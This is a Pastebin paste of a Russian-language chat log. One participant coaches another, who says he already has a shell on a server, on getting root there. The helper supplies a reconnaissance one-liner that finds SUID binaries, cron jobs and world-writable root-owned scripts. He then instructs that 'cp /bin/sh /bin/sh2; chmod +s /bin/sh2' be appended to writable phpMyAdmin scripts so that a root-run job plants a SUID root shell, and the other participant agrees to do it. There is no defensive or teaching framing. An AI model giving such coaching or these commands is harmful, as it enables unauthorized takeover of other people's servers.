Guest User

Untitled

a guest
Sep 28th, 2012
598
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.72 KB | None | 0 0
  1. 17:26 отходил
  2. 17:28 это нерутабельное ядро. Можно попробовать другими путями. Какие права у тебя там? Юзера или Апача? Это шаред хостинг или отдельный сервер какого-то чувака?
  3. Дай команду:
  4.  
  5. uname -a; cat /etc/crontab; ls -lia --full-time /etc/cron* /lib; find / -type f -perm -u+s -exec ls -lia {} \; 2>/dev/null; find / -type f -name "*.sh" -user root -perm -o+rw -exec ls -la {} \; 2>/dev/null
  6.  
  7. JustFive
  8. 17:31 привет
  9. 17:31 ты до этого общался
  10. 17:31 с моим партнером
  11. 17:31 он тебе писал
  12. 17:31 привет
  13. 17:31 ок
  14.  
  15. JustFive
  16. 17:32 по поводу
  17. 17:32 сервера
  18. 17:32 где есть шелл
  19. 17:32 и нужно получить рут
  20. 17:32 ?
  21. 17:32 да
  22.  
  23. JustFive
  24. 17:32 Linux www. 2.6.32-el-smp-alt27 #1 SMP Tue Sep 20 19:38:45 UTC 2011 x86_64
  25. 17:33 это ядро
  26. 17:33 ?
  27. 17:33 это нерутабельное ядро. Можно попробовать другими путями. Какие права у тебя там? Юзера или Апача? Это шаред хостинг или отдельный сервер какого-то чувака?
  28. Дай команду:
  29.  
  30. uname -a; cat /etc/crontab; ls -lia --full-time /etc/cron* /lib; find / -type f -perm -u+s -exec ls -lia {} \; 2>/dev/null; find / -type f -name "*.sh" -user root -perm -o+rw -exec ls -la {} \; 2>/dev/null
  31.  
  32. JustFive
  33. 17:35 http://pastebin.com/AR9KAjSi
  34. 17:39 -rwxrwxrwx 1 root root 885 Aug 9 2009 /var/www/apache2/adapted/phpmy/libraries/transformations/generator.sh
  35. -rwxrwxrwx 1 root root 666 Aug 9 2009 /var/www/apache2/adapted/phpmy/libraries/transformations/template_generator.sh
  36. -rwxrwxrwx 1 root root 546 Aug 9 2009 /var/www/apache2/adapted/phpmy/libraries/transformations/template_generator_mimetype.sh
  37. -rwxrwxrwx 1 root root 1269 Aug 9 2009 /var/www/apache2/adapted/phpmy/scripts/find_unused_messages.sh
  38. -rwxrwxrwx 1 root root 415 Aug 9 2009 /var/www/apache2/adapted/phpmy/scripts/remove_control_m.sh
  39. -rwxrwxrwx 1 root root 5873 Aug 9 2009 /var/www/apache2/adapted/phpmy/scripts/create-release.sh
  40. -rwxrwxrwx 1 root root 2201 Aug 9 2009 /var/www/apache2/adapted/phpmy/scripts/lang-cleanup.sh
  41. -rwxrwxrwx 1 root root 795 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/add_message.sh
  42. -rwxrwxrwx 1 root root 1633 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/check_lang.sh
  43. -rwxrwxrwx 1 root root 2092 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/sort_lang.sh
  44. -rwxrwxrwx 1 root root 564 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/remove_message.sh
  45. -rwxrwxrwx 1 root root 931 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/translatecount.sh
  46. -rwxrwxrwx 1 root root 798 Aug 9 2009 /var/www/apache2/adapted/phpmy/lang/add_message_file.sh
  47.  
  48. вот эти все файлы доступны к редактированию и есть вероятность, что их запускает рут, можно вписать к каждому в конце
  49. cp /bin/sh /bin/sh2; chmod +s /bin/sh2
  50. и когда рут запустит - получится суидный рутовый шелл /bin/sh2
  51.  
  52. 17:39 а что выводит
  53. cat /etc/crontab 2>&1
  54. 17:39 ?
  55.  
  56. JustFive
  57. 17:39 нет прав
  58. 17:39 а точно
  59. 17:39 завтыкал
  60. 17:40 тогда единственный вариант править эти файлы в надежде что рут их запустит или по крону запускает
  61.  
  62. JustFive
  63. 17:40 а если прописать
  64. 17:40 и в ребут кинуть
  65. 17:40 или прав нет
  66. 17:40 что бы в ребут кинуть
  67. 17:40 ?
  68. 17:40 в ребут не получится
  69.  
  70. JustFive
  71. 17:42 хм ладно
  72. 17:42 спасибо
  73. 17:42 пожалуйста
  74.  
  75. JustFive
  76. 17:42 а этож май админ да?
  77. 17:42 или что это за файлы
  78. 17:42 по названию похоже на него
  79.  
  80. JustFive
  81. 17:43 а как его заюзать после запуска
  82. 17:43 или посмотреть что команда запустилась
  83. 17:43 ?
  84. 17:43 если его рут или рутовый крон запустит, то появится файл /bin/sh2 - его запускаешь и ты рут
  85.  
  86. JustFive
  87. 17:47 а понял спасибо
  88. 17:47 будем править
  89. 17:48 ok
  90. 18:06 Вы подключились
  91. 18:50 [email protected] отошел
Advertisement
Add Comment
Please, Sign In to add comment